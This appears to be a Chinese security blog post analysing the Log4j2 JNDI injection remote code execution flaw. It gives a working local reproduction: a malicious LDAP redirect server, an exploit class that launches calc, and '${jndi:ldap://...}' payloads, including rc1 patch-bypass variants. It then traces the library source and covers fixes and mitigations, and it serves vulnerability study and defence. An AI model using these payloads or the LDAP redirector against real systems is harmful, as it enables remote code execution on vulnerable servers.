0x00 前言
log4j核弹级漏洞出来了一段时间,一直没有基础来分析。补了java基础后赶紧来分析一波
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
这次受影响的组件有:
- Springboot:默认情况是使用logback进行日志记录,但如果spring使用log4j则可能会存在漏洞
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.6.1</version>
</dependency>
</dependencies>
- Apache Struts2
- Apache Solr
- Elasticsearch
- vmware 产品线包括但不限于vCenter 在内的多个产品
- 等等
0x01 漏洞复现
影响版本:2.x<=2.15.0-rc1
log4j rce本质是JNDI注入
所以首先搭一个LDAP服务器
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
//将LDAP服务设置在7777端口
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("127.0.0.1"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 127.0.0.1:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//cbstring = "http://127.0.0.1"
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
//this.codebase.getRef() = "ExploitObject"
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
然后写一个恶意Factory类,编译为class放置于8080端口
import java.io.IOException;
public class ExploitObject {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}
最终被害客户端请求恶意ldap服务器,导致命令执行
//客户端需要log4j依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
只要日志中含有以下 payload 那么就会导致触发,该漏洞通过 JNDI 注入的手法来进行利用
0x02 漏洞分析
该漏洞主要是因为log4j2对JNDI Lookup 做了支持,如果消息中包含jndi:的话则会调用jndi resolver进行处理
开始断点分析,对于logger.error("${jndi:ldap://127.0.0.1:7777/ExploitObject}");
来说前半部分都是跟appender相关,该组件是决定日志输出位置的包括控制台console,文件,数据库等等,默认是输出到console中
略过前面这些代码,直接来到关键入口处:org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
首先会判断是否允许lookup,在2.15.0-rc1之前默认是开启lookup功能的,这也就导致默认可进行JNDI查询
workingbuild中存放的是消息记录。结构为时间,方法名,日志级别,类名以及我们的payload
然后截取${后面的赋值给value,此时value为我们的payload:${jndi:ldap://127.0.0.1:7777/ExploitObject}
接下来调用replace方法,最终来到substitute方法
在substitute方法中先将buf赋值给char数组然后循环递归寻找${,记住其出现的位置startMatchLen
然后再寻找}出现的位置
然后将 ${} 中间的内容取出来
然后又会调用 this.subtitute 来处理
ps:这里再次调用 substitute 是为了处理多个层级的 ${} 问题,这个会在后面进行介绍
跟进这个subtitute,由于这次已经没有的${所以会来到最下面,此时varname是我们传入的bufname即jndi:ldap://127.0.0.1:7777/ExploitObject
这个resolveVariable作用是解析变量,根据varname参数找到对应的resolver然后解析varname,跟进resolveVariable看看
首先会调用getVariableResolver获取所有的resolver,可以看到里面包含我们需要的JNDI resolver
接下来调用lookup方法获取与payload对应的,跟进lookup
可以看到,首先寻找字符串中等号出现的位置,然后截取等号之前的以及之后的分别赋给不同变量
然后根据prefix寻找到对应的resolver:JndiLookup
然后调用其lookup函数,name为ldap://127.0.0.1:7777/ExploitObject
跟进lookup方法
Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager
来支持 JDNI 相关操作
跟进lookup,可以看到利用JndiManager的context来完成后续的JNDI查询
后面就是jndi查询操作了,获取reference对象解析并加载远程恶意Factory,此时就会造成命令执行
总结:log4j获取${}内部值开始解析变量,首先根据冒号前面的字符串找到其对应的resolver:JndiLookup类。然后实例化一个JndiManager利用其成员变量context调用lookup方法并传入冒号之后的内容完成JNDI查询,由于参数可控到了JNDI注入
0x03 漏洞修复
rc1绕过
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
下载后,将其中的log4j-core打成jar包然后导入进来即可使用
https://blog.csdn.net/LXWalaz1s1s/article/details/107607607
在漏洞爆发之初官方首先发布了log4j-2.15.0-rc1 安全更新包,但经过研究发现在开启lookup配置时,可以绕过该补丁
在该版本中默认时不开启lookup功能的
还记得debug调试刚开始的MessagePatternConverter嘛,修改了其newInstance方法
跟进loadLookups,可以看到判断是否开启了LOOKUPS,默认是不开启的所以会返回false
所以就不会获得LookupMessagePatternConverter来进行 Lookup 和替换
引用su师傅的一段话
在rc1版本,MessagePatternConverter 类中创建了内部类
SimpleMessagePatternConverter
、FormattedMessagePatternConverter
、LookupMessagePatternConverter
、RenderingPatternConverter
,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用LookupMessagePatternConverter
来进行 Lookup 和替换。
https://su18.org/post/log4j2/#rc1-及绕过
在默认情况下,将使用 SimpleMessagePatternConverter
进行消息的格式化处理,不会解析其中的 ${}
关键字。
另外一点是在刚才漏洞分析中最后一步JndiManager#lookup那,本来是
在rc1版本为
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
// In testing the "key" for attributes seems to be lowercase while the attribute id is
// camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
// to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
// the Java schema.
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
在createManager时候添加白名单 JNDI 协议、白名单主机名、白名单类名
其中
permanentAllowedHosts
是本地 IP,permanentAllowedClasses
是八大基础数据类型加Character
,permanentAllowedProtocols
包含 java/ldap/ldaps。
其在lookup中做了校验判断,主要是host白名单只允许127.0.0.1这种地址,所以无法进行远程JNDI注入了
但是由于程序在 catch 住异常后没有 return,所以说可以在lookup第一步new url时使其报错URISyntaxException
来绕过校验,直接来到最后一行this.context.lookup处
例如在URI中插入空格等等
${jndi:ldap://127.0.0.1:1389/\$ExploitObject}
${jndi:ldap://127.0.0.1:1389/ ExploitObject}
${jndi:ldap://127.0.0.1:1389/\u0000ExploitObject}
...
绕过复现:
在rc1版本中需要打开lookup功能
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.DefaultConfiguration;
import org.apache.logging.log4j.core.impl.MutableLogEvent;
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;
public class Test {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
//获取一个configuration做为后面的参数输入
Configuration configuration做为后面的参数输入 = new DefaultConfiguration();
//这里对应上面说的newinstance,为了能获取到LookupMessagePatternConverter,需要传入option为lookups。此时才会返回true
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
//调用messagePatternConverter.format,后面就是跟漏洞分析小节一样。唯一不同就是在最后lookup处发生异常绕过了校验,注意下面payload:7777/后面有个空格
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:7777/ ExploitObject}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:7777/ ExploitObject}"));
}
}
虽然绕过了校验,但是由于在rc1之后lookup默认为关闭状态,所以危害比较低
rc2修复
在rc2版本,其在catch中添加了return,修复了rc1中的绕过方式
之后版本
https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea
再在后面版本官方引入了一个 log4j2.enableJndi
参数用来表示是否开启 Jndi。只有在enable状态下才会将类 JndiLookup 加入
并且保留了jndimanager#lookup中的校验机制
所以说只要在未开启log4j2.enableJndi
时,就找不到JndiLookup类,从而也就无法实现后续的JndiLookup.lookup创建jndimanager并调用其lookup方法进行JNDI注入
在2.16.0-rc1版本,删除掉了LookupMessagePatternConverter类,也就无法实现lookup功能了。所以说在该版本之后log4j2 不再支持日志消息的 Lookup 功能
从这个版本之后,log4j RCE已经不太可能实现了
0x04 修复方案
这里贴一张奇安信的修复建议
前两条只限制在2.10之后的版本有效
移除JndiLookup类可谓是简单粗暴
第四条是因为在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false从而导致客户端默认不会请求远程Server上的恶意 Class
0x05 总结
总的来说是因为log4j对于JNDI查询的支持,首先获取${}内部值开始解析变量,根据冒号前面的字符串找到其对应的resolver:JndiLookup类。在JndiLookup.lookup中实例化了一个JndiManager然后利用其成员变量context调用lookup方法并传入冒号之后的内容完成JNDI查询,由于参数可控导致了JNDI注入
在rc1之后的版本默认关闭了lookup支持,其中MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter
、FormattedMessagePatternConverter
、LookupMessagePatternConverter
、RenderingPatternConverter
,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter
来进行 Lookup 和替换。一般默认情况下是SimpleMessagePatternConverter,而这个是不会解析${}的
因为catch代码块没return导致绕过了rc1,但是呢很快在rc2改了过了
在后续的版本限制了JndiLookup类的加入,最后直接移除了LookupMessagePatternConverter即不允许lookup操作
这场因为JNDI注入引发的核弹级漏洞终于落下了帷幕
0x06 参考文章
https://su18.org/post/log4j2/
https://www.yuque.com/tianxiadamutou/zcfd4v/els4r7
https://blog.csdn.net/qq_35733751/article/details/118767640
https://www.cnblogs.com/CoLo/p/15531591.html
https://blog.csdn.net/LXWalaz1s1s/article/details/107607607